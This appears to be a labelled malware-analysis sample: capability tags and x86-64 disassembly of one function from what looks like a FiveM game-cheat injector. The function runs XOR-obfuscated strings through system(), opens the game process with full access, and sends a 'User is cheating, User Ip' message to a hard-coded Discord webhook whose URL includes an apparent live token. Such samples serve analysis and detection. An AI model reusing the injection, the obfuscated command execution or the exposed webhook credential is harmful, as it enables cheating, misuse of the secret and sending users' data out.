Function at 0x140024c50
Capabilities:
Encode data using xor
Execute command
Get graphical window text
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov r15, rcx
xor ebx, ebx
xor edx, edx
lea rcx, str.grcWindow
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [r15 + 0x28], rax
test rax, rax
jne 0x140024ead
lea rdx, [rsp + 0x20]
call fcn.140008490
mov rcx, rax
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 3], bl
je 0x140024d93
cmp edi, 2
jl 0x140024d4e
movdqa xmm3, xmmword [0x1400fb530]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fb880]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fb880]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400fb5e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fb690]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140024d93
mov r9, rcx
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140024d60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400047d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str._n_n_FiveM_not_found__Start_FiveM_before_injecting_the_cheat_.
call fcn.14000c870
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x20]
call fcn.140008490
mov rcx, rax
cmp byte [rax + 3], bl
je 0x140024e9e
cmp edi, 2
jl 0x140024e66
movdqa xmm3, xmmword [0x1400fb530]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fb880]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fb880]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400fb5e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fb690]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140024e9e
mov r8, rcx
nop dword [rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, bl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 4
jl 0x140024e70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [str.WYE7]
mov dword [rsp + 0x20], eax
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400f2cfb], bl
je 0x140024f93
cmp edi, 2
jl 0x140024f54
movdqa xmm3, xmmword [0x1400fb530]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fb880]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fb880]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400fb5e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fb690]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140024f93
lea r9, [rsp + 0x20]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140024f60
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, 0x100
lea rdx, [rbp - 0x70]
mov rcx, qword [r15 + 0x28]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, str.RESKATE_RP
lea rcx, [rbp - 0x70]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14002520d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1220763645953183784_BspeJwewoAHCM3IujMTiJ9f5xwL2p4Hx4qz3i5H_upvMeTIviaiCkYQn61acAd2ubk9M
lea rcx, [rsp + 0x68]
call fcn.14000d260
nop
lea rcx, [rsp + 0x48]
call fcn.140024a70
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rsp + 0x58]
sub rax, rdx
cmp rax, 0x1b
jb 0x14002534b
lea r9, [rsp + 0x48]
mov r14, qword [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0xf
cmova r9, r14
mov qword [rsp + 0x20], r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea r12, [rdx + 0x1b]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rsp + 0x28]
cmp r12, rdi
jbe 0x1400250f2
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400250a9
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400ddd30
test rax, rax
je 0x140025180
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x20]
jmp 0x1400250ed
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400250d1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140025351
jmp 0x140025080
test rcx, rcx
je 0x1400250ea
call fcn.1400ddd30
mov rsi, rax
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x20]
jmp 0x1400250ed
mov rsi, rbx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [str.User_is_cheating__User_Ip:]
movups xmmword [rsi], xmm0
movsd xmm0, qword [0x1400f4080]
movsd qword [rsi + 0x10], xmm0
movzx eax, word [0x1400f4088]
mov word [rsi + 0x18], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rsi + 0x1a], al
lea rcx, [rsi + 0x1b]
mov r8, rdx
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r12], 0
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x68]
call fcn.140024450
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14002518d
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025187
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ddfb4
nop
cmp r13, 0xf
jbe 0x1400251c8
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400251bf
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400251bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400ddfb4
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140025207
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025202
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025202
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ddfb4
mov edi, dword [reloc.WS2_32.dll_accept]
mov eax, dword [str.WYE7]
mov dword [rsp + 0x20], eax
cmp byte [0x1400f2cfb], 0
je 0x1400252ee
cmp edi, 2
jl 0x1400252af
movdqa xmm3, xmmword [0x1400fb530]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fb880]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fb880]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400fb5e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fb690]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400252ee
lea r8, [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 4
jl 0x1400252c0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [r15 + 8]
mov rcx, qword [r15 + 0x28]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [r15 + 8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r15], rax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1400ddbf0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003390
nop
call fcn.140001b20
int3